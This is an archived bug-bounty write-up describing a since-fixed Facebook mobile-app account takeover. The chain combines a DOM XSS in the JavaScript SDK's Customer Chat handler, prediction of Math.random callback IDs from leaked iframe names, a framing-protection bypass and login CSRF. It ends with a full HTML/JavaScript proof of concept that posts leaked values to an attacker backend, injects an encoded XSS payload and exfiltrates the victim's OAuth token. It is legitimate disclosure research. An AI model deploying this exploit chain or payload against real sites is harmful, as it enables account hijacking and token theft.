

Account Takeover in Facebook mobile app due to usage of cryptographically unsecure random number generator and XSS in Facebook JS SDK

Account Takeover in Facebook mobile app due to usage of cryptographically unsecure random number generator and XSS in Facebook JS SDK - Youssef Sammouda, Youssef Sammouda (sam0) personal blog.

- Published: 2026-01-17
- Original: <<https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html>>
- Preserved from: <https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Facebook Javascript SDK and Facebook plugins

Meta provides several embeddable plugins such as the `Like` button, `Customer Chat` plugin, and `Feedback` plugin. These plugins are hosted under `www.facebook.com` and are designed to be embedded into third-party websites using `iframe` elements.

The typical integration flow works as follows:

- A website includes the `Facebook JavaScript SDK`.
- The site calls SDK functions such as `FB.init()` and `FB.ui()`.
- The SDK dynamically creates an `iframe` pointing to a plugin endpoint, for example the `https://www.facebook.com/plugins/customerchat.php` plugin
- The `iframe` is initialized with url parameters that include:
 - The host website origin
 - A callback identifier which was randomly generated

Communication between the host website and the plugin iframe is implemented using `postMessage`. The plugin sends messages to its parent window, and the SDK on the host side listens for those messages and dispatches them internally.

To prevent arbitrary message injection, the SDK enforces two checks on received messages:

- The message must originate from `www.facebook.com` (where the plugins are hosted)
- The message must include the correct callback identifier (random string)

Only messages that satisfy both conditions are accepted and processed by the SDK.

XSS in JavaScript SDK Customer Chat Plugin

While reviewing the Facebook JavaScript SDK, I noticed that the SDK registers a cross-window message listener for messages coming from the Customer Chat plugin iframe.

The relevant code sets up a message handler that forwards incoming messages to an internal event system `g.inform("xd." + a.type, a);`, which sends an event named `xd.<type>` with `<type>` from the incoming message.

```
ES("Object", "assign", !1, j, {
    app_id: c("sdk.Runtime").getClientID(),
    locale: c("sdk.Runtime").getLocale(),
    sdk: "joey",
    kid_directed_site: c("sdk.Runtime").getKidDirectedSite(),
    channel: d("sdk.XD").handler(
        function (a) {
            a != null && g.inform("xd." + a.type, a);
        },
        "parent.parent",
        !0,
    ),
});
```

This SDK setup handler/subscriber functions for these events. One such handler is registered as follows:

```
this.subscribe("xd.mpn.setupIconIframe", function (b) {
    a.$CustomerChat20(b);
});
```

When the event `xd.mpn.setupIconIframe` is received, the function `$CustomerChat20` is invoked with attacker-controlled data.

Inside this function, the SDK extracts an `iconSVG` field from the message and injects it directly into the DOM:

```
e.$CustomerChat20 = function (a) {  
    var b = this;  
    this.$CustomerChat1 &&  
        d("sdk.DOM").remove(this.$CustomerChat1);  
    var e = a.frameName,  
        f = a.iconSVG,  
        g = d("sdk.DialogUtils").setupNewDialog(),  
        h = ES("JSON", "parse", !1, a.cssText),  
        i = document.createElement("div");  
    f != null && (d("sdk.DOM").html(i, f),
```

Because `iconSVG` is injected without sanitization, this results in a DOM-based cross-site scripting vulnerability on the host website.

At this stage, exploitation appears impossible due to two constraints:

- Messages must originate from `www.facebook.com`
- The attacker must know the random callback string

I - Sending messages from `www.facebook.com`

To satisfy the message origin requirement, I identified the following endpoint:

```
https://www.facebook.com/plugins/feedback.php?  
&api_key  
&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23  
    %26relation=parent.parent.frames[0]  
    %26cb=${encodeURIComponent(INJECTION_POINT)}  
    %26origin=${target}  
&href=https%3A%2F%2Fwww.facebook.com%2F  
&locale=en_US  
&numposts=10  
&order_by=time  
&sdk=joey&version=v2.3  
&width=600  
&_rdr`
```

When loaded, this plugin sends a message from a Facebook origin to the embedding website that loaded the SDK with `INJECTION_POINT` in the message without any sanitization, meaning that it's possible to `&` and more text.

II - Random String Generation

To validate incoming postMessage events, the Facebook JavaScript SDK relies on a callback identifier generated at runtime. This identifier is treated as a shared secret between the host page and the embedded plugin iframe, and is required for message acceptance.

Tracing the generation of this identifier reveals that it is produced by the following helper module:

```
__d(
  "guid",
  [],
  function (a, b, c, d, e, f) {
    function a() {
      return (
        "f" +
        (Math.random() * (1 << 30)).toString(16).replace(".", "")
      );
    }
    f["default"] = a;
  },
  66,
);
```

The callback value is therefore derived directly from `Math.random()`, a non-cryptographic pseudo-random number generator.

This introduces a critical trust boundary violation: a value that is used as an *authentication primitive* for cross-origin messaging is generated using a mechanism that provides no unpredictability guarantees against an active attacker.

1) Why Math.random Is Inappropriate in This Context

`Math.random()` is implemented as a deterministic PRNG whose internal state evolves predictably. While sufficient for non-security use cases (UI randomness, sampling, etc.), it is explicitly unsuitable for any scenario where unpredictability is relied upon for security decisions.

In this case, the callback identifier functions as:

- A message authentication token
- A gatekeeper for privileged SDK message handlers
- The sole barrier preventing arbitrary message injection

Once an attacker can observe a sequence of outputs from the same PRNG instance, the internal state can be inferred. This allows the attacker to:

- Predict future outputs
- Reconstruct recently generated past values
- Forge valid callback identifiers without guessing

The security of the entire message validation mechanism therefore collapses if PRNG outputs can be observed.

2) Observing PRNG outputs via Plugin iframe

Further analysis of SDK internals shows that the same `guid()` function is reused when creating plugin iframes. Specifically, if an explicit iframe name is not provided, the SDK generates one automatically:

```
__d(
  "sdk.createIframe",
  ["DOMEventListener", "getBlankIframeSrc", "guid", "isNumberLike"],
  function (a, b, c, d, e, f, g) {
    function a(a) {
      var b = ES("Object", "assign", !1, {}, a),
          e,
          f = b.name || c("guid")(),
```

This value becomes the `window.name` of the newly created iframe.

Because iframe names are part of the browsing context and persist across navigations, this creates an unintended side channel: any party that can later obtain same-origin access to the iframe window can read the name and recover a raw `Math.random()` output.

This means that plugin iframe creation leaks PRNG outputs that originate from the same generator instance responsible for producing message callback identifiers. However, in practice, most websites embed only a single Facebook plugin per page. This initially appears to limit exploitation, as reconstructing PRNG state typically requires observing multiple sequential outputs.

However, the SDK exposes additional behavior that allows forced regeneration of plugin iframes without requiring a full page reload.

3) Forcing reinitialization via `init:post`

The SDK registers other listeners beside `xd.<type>` ones targeting plugins, one of them is the `init:post` event:

```
sdk.Event.subscribe("init:post", function (a) {  
  if (a.xfbml) {  
    XFBML.parse();  
  }  
});
```

When a message containing `xfbml: true` is received, the SDK re-parses the page and re-initializes all XFBML plugins. From the SDK's perspective, this is equivalent to the initial page load.

Each reinitialization:

- Destroys the existing plugin iframe
- Creates a new iframe
- Generates a new iframe name via `guid()`
- Advances the PRNG state

By repeatedly triggering this event, an attacker can force the SDK to emit an arbitrary number of PRNG outputs.

4) Extracting iframe window names

To read the generated iframe names, the attacker must control the top-level browsing context.

The attack layout is as follows:

- The attacker embeds the victim website in an iframe
- The victim website embeds the Facebook plugin iframe
- The attacker navigates the plugin iframe to an attacker-controlled origin via `window.frames[0].frames[0] = "https://attacker.com"`
- Same-origin access is restored
- The attacker reads the iframe name via `window.frames[0].frames[0].name`

This technique requires the victim website to allow framing, either due to missing `X-Frame-Options` or a permissive `frame-ancestors` CSP directive.

5) Attack Attempt #1

- Attacker embeds victim website in an iframe
- Victim website embeds Facebook Customer Chat plugin via Facebook SDK
- Attacker leaks plugin iframe window name
- Attacker forces plugin reinitialization
- Attacker repeats above 2 steps multiple times
- Attacker reconstructs `Math.random` state
- Attacker calculates callback string
- Attacker sends crafted message from `www.facebook.com` origin

- DOM XSS is triggered on the victim website

While the exploit chain is technically complete, the immediate impact is constrained by deployment realities:

- The XSS occurs on the embedding website, not on `www.facebook.com`
- Exploitation depends on framing being allowed
- Many high-value sites enforce strict framing policies

As a result, exploitation against arbitrary third-party websites would likely be assessed as low to medium impact. This motivated a shift in focus toward identifying Facebook-owned surfaces that:

- Embed the affected plugin
- Allow framing or equivalent access
- Elevate the impact to a first-party security issue

III - Iframe protection bypass in `www.facebook.com`

Finding a particular page with a misconfigured `XFO` or `frame-ancestors` won't cut it since we have another condition later to find a Facebook page with the customer plugin embedded. Realistically, it would be unlikely to find a single page with the two conditions met, so i focused on finding a more general issue that would affect the entire website, likely it was possible to find one:

While playing around in Facebook mobile application in iOS/Android, i noticed that in some requests the XFO header would be like this:

- `X-Frame-Options: SAMEORIGIN`

Although this is totally normal, i probably never saw it before used in WEB. This made me suspicious, so i tried to load a page that has `frame-ancestors` set to any domain. As a result the returned XFO was found to be set :

- `X-Frame-Options: ALLOW-FROM domain`

This is perfect! it means that there's actually no frame protection at all, since `ALLOW-FROM` is not supported anymore in modern browsers.

Okay so now we have a trick that we can use to disable frame protection, however this trick would only work if a page in normal conditions in web would return `frame-ancestors` and allow at least one domain. Unfortunately, this added another condition to already 2 previous conditions so we needed to find a bypass for this.

IV - Forcing `frame-ancestors` embed in `www.facebook.com` pages

As we said now we need a way to make any page return `frame-ancestors: anydomain` so the bug above triggers. It was found that Facebook has this feature, it's called `Compat` and

it allows other subdomains to include/iframe a page in other subdomains. If any page was appended the parameter:

```
&cquick=1
&cquick_token=TOKEN
&ctarget=https://www.facebook.com
```

It will return `frame-ancestors: https://www.facebook.com` and trigger the previous bug (of course in a mobile env inside Facebook app webview).

However, you probably noticed the `TOKEN` , which immediately raises red flags. It turns out this token is tied to the currently authenticated user, meaning it's impossible to trigger the compatibility behavior in a victim's session without knowing their token.

At this point, I had the idea of attempting a classic `login CSRF` into my own account. Naturally, this would only lead to XSSing myself, so an additional constraint was needed: we must keep a valid Facebook page open inside an iframe. This page needs to contain something of value in its body, and crucially it must not refresh when it detects a session change.

V - Facebook page with customer chat plugin loaded

It was discovered that the page `https://www.facebook.com/business/goals/add-live-chat-to-website-with-messenger` had Facebook SDK and loaded the customer chat plugin as a demonstration for the plugin.

VI - Predicting Math.random() seed

To avoid making this write-up any longer than it already is, I highly recommend watching PwnFunction's excellent [video](#) on this topic. You should also check out his [Github repository](#) and the accompanying resources.

My attack did not introduce anything fundamentally new; the only required change was a slight modification to the solver so it would still work even when the supplied seeds were not consecutive. Because the iframe reinitialization trick resets everything, each iframe window name we obtain is actually two steps behind the previous one:

1. Math.random() value for `window.name`
1. Math.random() value for `callback function` <— Z3 needs to skip this
1. Math.random() value for `iframe id` <— Z3 needs to skip this

Final Attack

1. Victim visits attacker's website in Facebook App
1. Attacker website opens in Facebook App Webview

1. Attacker creates an iframe [name:MAIN], and load a Facebook page which would contain a sensitive value like OAuth code/token (xd_arbiter page or /dialog/oauth + ajaxpipe/_a parameters to avoid reloads)
1. Attacker performs a Logout CSRF
1. Attacker performs a Login CSRF into his account
1. Attacker creates another iframe, and loads the Facebook page with customer chat plugin:

```
https://secure.facebook.com/business/goals/add-live-chat-to-website-with-messenger?
&cquick=1
&cquick_token=ATTACKER_TOKEN
&ctarget=https://www.facebook.com
```

1. Attacker redirects window.frames[1].frames[0] (containing the plugin script) to attacker website
1. Attacker saves window.frames[1].frames[0].name
1. Attacker force reinitialization via init:post
1. Attacker repeats steps 5 , 6 and 7 until he gets at least 4 values
1. Attacker sends Math.random() values to the backend, and gets the next values
1. Attacker force reinitialization via init:post
1. Attacker sends payload message to window.frames[1] from facebook.com with the correct callback identifier, using trick in I
1. DOM-XSS achieved in www.facebook.com , the script would access same-origin iframe [name:MAIN] via top.frames[0] and reads victim OAuth token

Proof of concept

```

<html>
  <head>
  </head>
  <body>

    <iframe width="1" height="1" name="oauth"
src="https://www.facebook.com/dialog/oauth..."></iframe>
    <iframe style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%;
height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"
id="theframe" name="ddoc" src=""></iframe>
    <iframe width="1" height="1" name="reload" src=""></iframe>

    <script>

cquick_token = "ATTACKER_COMPAT_TOKEN";
BACKEND_URL = "ATTACKER_WEBSITE_SOLVER";
list_math_random= {};

/* ===== STEP 0 ===== */

/* Logout / Login CSRF */

/* ===== STEP 1 ===== */

window.onload = () => {

  // Setup a message listener to collect Math.random() values from plugin iframe

  window.onmessage = (e) => {
    if(e.data.code && e.data.num > 1) {
      xx = e.data.num;
      value = e.data.data;
      value = toRandom(value);
      list_math_random[xx] = value;
    }
  }

  // Load the Facebook iframe to start the process
  document.getElementById("theframe").src =
"https://secure.facebook.com/business/goals/add-live-chat-to-website-with-messenger?
wtsid=rdr_0JnaCVB7Xiu2W3gl6&cquick=1&cquick_token="+
cquick_token + "&ctarget=https://www.facebook.com";

  xf = setTimeout(function(){
    target_frame = document.getElementById("reload").contentWindow

```

```

        sendMessageFromFacebookOrigin('&xd_action=dd&data=FB_RPC:
{"method":"fireEvent","params":["init:post",{ "xfbml":1}]}', reload);
        interv = setInterval(function(){
            try{
                // Detect when the iframes are loaded
                window.frames[1].frames[0].postMessage("testing","");
                for(i=0;i<window.frames[1].frames.length;i++) {
                    // Load a data URL that sends the frame's name back
to the parent

                    ff = '\x3chtml>\x3cbody>\x3cscript>f=
{"code":1,"num":'+i+', "data":window.name};top.postMessage(f,"")\x3c/script>\x3c/body>\x3
c/html>';

                    ff = btoa(ff);
                    window.frames[1][i].location.href =
'data:text/html;base64,' + ff;

                }
                clearInterval(interv);
            }
            catch{}

        }, 1000 );

    }, 20000 );
}

/* ===== STEP 2 ===== */

// Check if the list of Math.random() values is complete
listcheck = setInterval(()=>{
    if(Object.keys(list_math_random).length >8) {
        clearInterval(listcheck);
        setTimeout(()=>{
            l = Object.values(list_math_random);

            // Try to xss with different combinations until we get valid values
from the server ( Z3 Solver can hang sometimes )
            start_xss(l.slice(0,5));
            start_xss(l.slice(1,6));
            start_xss(l.slice(2,7));
            start_xss(l.slice(3,8));
            start_xss(l.slice(4,9));
            start_xss(l.slice(5,10));
            start_xss(l.slice(6,11));

```

```

        },3000);

    }
},2000);

/* ===== STEP 3 ===== */

function start_xss(values_array)
{
    str = values_array.join(",");
    const controller = new AbortController()
    const timeoutId = setTimeout(() => {controller.abort()}, 5000)

    // Sends values to backend
    fetch(BACKEND_URL + "?id=" + str,{ signal: controller.signal }).then(response
=> response.json())
        .then(response => {
            if(response['data']['result'] == "error") return;
            data = response['data'];
            data = data.split(",");
            tests = setInterval(()=>{
                if(data.length==0) {
                    clearInterval(tests);
                }
                // we have a match let's try sending the message
                callbacks = guid(data.shift());

                // payload : <img src=x onerror=parent.postMessage("body:" +
parent.frames[0].document.body.innerHTML,"*")' />
                xss_payload = callbacks+
"&type=mpn.setupIconIframe&frameName=test&iconSVG=%3c%69%6d%67%20%73%72%63%3d%78%20%6f%6e%65%72%72%6f%72%3d%27%70%61%72%65%6e%74%2e%70%6f%73%74%4d%65%73%73%61%67%65%28%22%62%6f%64%79%3a%22%20%2b%20%70%61%72%65%6e%74%2e%66%72%61%6d%65%73%5b%30%5d%2e%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%2c%22%2a%22%29%27%2f%3e&unreadCountCssText={}&cssText={}&availabilityStatusCssText={}&greetingCssText={}";

                target_frame = window.frames[1].frames[0]
                sendMessageFromFacebookOrigin(xss_payload, target_frame)

                // Receive OAuth token
                onmessage=(e)=>{
                    if(data.startsWith("body:")){
                        clearInterval(tests);
                        alert(data)
                    }
                }
            })
        })
}

```

```

        }
    }
    },7000);
});

}

/* ===== Functions ===== */

function toRandom(str) {
    flt = parseFloat2(str,8);
    fin = flt / (1 << 30);
    if (fin>1) {
        flt = parseFloat2(str,7);
    }
    return flt / (1 << 30);
}

function sendMessageFromFacebookOrigin(msg,ifrm){
    target = "https://secure.facebook.com";
    ifrm.location.href = `https://www.facebook.com/plugins/feedback.php?
api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?
version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(msg)}%26origin=${
target}&href=https%3A%2F%2Fwww.facebook.com%2Fbusiness%2Fnews%2F100-in-view-impressions-
and-moat-
partnership&locale=en_US&numposts=10&order_by=time&sdk=joey&version=v2.3&width=600&_rdr`;
}

function parseFloat2(str, cof)
{
    str = str.substring(1);
    str = str.slice(0,cof) + '.' + str.slice(cof);
    var parts = str.split(".");
    if ( parts.length > 1 )
    {
        return parseInt(parts[0], 16) + parseInt(parts[1], 16) / Math.pow(16,
parts[1].length);
    }
    return parseInt(parts[0], 16);
}

function guid(anystring) {
    return "f" + (anystring * (1 << 30)).toString(16).replace(".",

```

```
"" )  
  
    }  
  
    </script>  
  </body>  
</html>
```

Impact

This vulnerability enables account takeover of Facebook account if the user visits a link inside Facebook Application in mobile.

Timeline

Jun 22, 2023 — Bug reported

Jun 23, 2023 — Bug Acknowledged by Meta

Jun 28, 2023 — **\$66,000** bounty awarded by Meta

Dec 15, 2023 — Bug fixed by Meta

Archived from <https://ysamm.com/uncategorized/2026/01/17/math-random-facebook-sdk.html>. Rendered offline from the local Markdown copy.